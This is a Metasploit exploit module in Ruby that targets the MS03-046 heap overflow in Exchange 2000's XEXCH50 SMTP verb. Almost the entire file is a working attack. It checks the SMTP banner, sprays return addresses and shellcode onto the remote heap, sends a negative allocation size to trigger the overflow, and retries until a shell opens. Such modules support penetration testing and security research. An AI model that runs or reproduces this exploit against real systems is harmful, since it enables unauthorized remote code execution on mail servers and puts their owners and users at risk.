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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'MS03-046 Exchange 2000 XEXCH50 Heap Overflow',
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      'Description'    => %q{
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          This is an exploit for the Exchange 2000 heap overflow. Due
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        to the nature of the vulnerability, this exploit is not very
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        reliable. This module has been tested against Exchange 2000
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        SP0 and SP3 running a Windows 2000 system patched to SP4. It
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        normally takes between one and 100 connection attempts to
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        successfully obtain a shell. This exploit is *very* unreliable.
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      },
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      'Author'         =>
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        [
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          'hdm', # original module
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          'aushack', # msf3 port :)
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        ],
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      'References'     =>
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        [
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          [ 'CVE', '2003-0714' ],
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          [ 'BID', '8838' ],
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          [ 'OSVDB', '2674' ],
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          [ 'MSB', 'MS03-046' ],
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          [ 'EDB', '113' ],
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'seh',
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        },
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      'Platform'       => 'win',
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      'Privileged'     => true,
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      'Payload'        =>
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        {
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          'Space'    => 1024,
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          'BadChars' => "\x00\x0a\x0d\x20:=+\x22",
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          'StackAdjustment' => -3500,
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        },
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      'Targets'        =>
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        [
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          [ 'Exchange 2000', { 'Ret' => 0x0c900c90, 'BuffLen' => 3000, 'Offset1' => 11000, 'Offset2' => 512 } ],
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        ],
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      'DefaultTarget'  => 0,
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      'DisclosureDate' => '2003-10-15'))
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    register_options(
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      [
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        Opt::RPORT(25),
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        OptString.new('MAILFROM', [ true, 'The FROM address of the e-mail', '[email protected]']),
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        OptString.new('MAILTO', [ true, 'The TO address of the e-mail', 'administrator']),
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        OptInt.new('ATTEMPTS', [ true, 'The number of exploit attempts before halting', 100]),
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      ])
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  end
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  def check
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    connect
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    banner = sock.get_once || ''
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    if (banner !~ /Microsoft/)
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      print_status("Target does not appear to be an Exchange server.")
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      return Exploit::CheckCode::Safe
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    end
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    sock.put("EHLO #{Rex::Text.rand_text_alpha(1)}\r\n")
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    res = sock.get_once || ''
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    if (res !~ /XEXCH50/)
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      print_status("Target does not appear to be an Exchange server.")
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      return Exploit::CheckCode::Safe
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    end
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    sock.put("MAIL FROM: #{datastore['MAILFROM']}\r\n")
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    res = sock.get_once || ''
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    if (res =~ /Sender OK/)
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      sock.put("RCPT TO: #{datastore['MAILTO']}\r\n")
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      res = sock.get_once || ''
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      if (res =~ /250/)
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        sock.put("XEXCH50 2 2\r\n")
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        res = sock.get_once || ''
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        if (res !~ /Send binary data/)
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          print_error("Target has been patched!")
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          return Exploit::CheckCode::Detected
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        else
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          return Exploit::CheckCode::Appears
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        end
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      end
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    end
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    disconnect
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  end
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  def smtp_setup(count)
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    print_status("Exploit attempt ##{count}")
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    connect
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    select(nil,nil,nil,1)
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    banner = sock.get_once || ''
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    print_status("Connected to SMTP server: #{banner.to_s}")
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    if (banner !~ /Microsoft/)
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      print_status("Target does not appear to be running Exchange.")
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      return
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    end
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    select(nil,nil,nil,5)
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    sock.put("EHLO X\r\n")
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    select(nil,nil,nil,7)
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    res = sock.get_once || ''
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    if (res !~ /XEXCH50/)
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      print_status("Target is not running Exchange.")
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      return
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    end
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    sock.put("MAIL FROM: #{datastore['MAILFROM']}\r\n")
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    select(nil,nil,nil,3)
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    sock.put("RCPT TO: #{datastore['MAILTO']}\r\n")
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    select(nil,nil,nil,3)
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  end
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  def exploit
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    bufflen = target['BuffLen']
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    print_status("Trying to exploit #{target.name} with address 0x%.8x..." % target['Ret'])
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    count = 1 # broke
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    begin
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      if (count > datastore['ATTEMPTS'])
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        print_error("Exploit failed after #{datastore['ATTEMPTS']}. Set ATTEMPTS to a higher value if desired.")
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        return # Stop after a specified number of attempts.
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      end
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      if (session_created?)
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        return # Stop the attack. Non-session payloads will continue regardless up to ATTEMPTS.
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      end
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      while(true)
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        if (smtp_setup(count))
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          print_status("Connection 1: ")
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        end
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        sock.put("XEXCH50 2 2\r\n")
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        select(nil,nil,nil,3)
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        res = sock.get_once
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        print_status("#{res}")
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        if (res !~ /Send binary data/)
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          print_status("Target is not vulnerable.")
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          return # commented out for the moment
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        end
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        sock.put("XX")
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        print_status("ALLOC")
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        size = 1024 * 1024 * 32
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        sock.put("XEXCH50 #{size} 2\r\n")
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        select(nil,nil,nil,3)
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        sploit = (([target['Ret']].pack('V')) * 256 * 1024 + payload.encoded + ("X" * 1024)) * 4 + "BEEF"
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        print_status("Uploading shellcode to remote heap.")
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        if (sock.put(sploit))
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          print_status("\tOK.")
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        end
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        print_status("Connection 2: ")
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        smtp_setup(count) # Connection 2
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        sock.put("XEXCH50 -1 2\r\n") # Allocate negative value
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        select(nil,nil,nil,2)
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        res = sock.get_once || ''
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        if (!res)
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          print_error("Error - no response")
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        end
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        print_status("OK")
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        bufflen += target['Offset2']
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        if (bufflen > target['Offset1'])
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          bufflen = target['BuffLen']
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        end
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        heapover = [target['Ret']].pack('V') * bufflen
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        print_status("Overwriting heap with payload jump (#{bufflen})")
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        sock.put(heapover)
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        print_status("Starting reconnect sequences...")
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        10.times do |x|
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          print_status("Connect #{x}")
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          connect
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          sock.put("HELO X\r\n")
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          disconnect
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        end
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      end
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    rescue
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      print_status("Unable to connect or Exchange has crashed... Retrying.")
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      count += 1
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      retry
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    end
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    disconnect
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  end
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end
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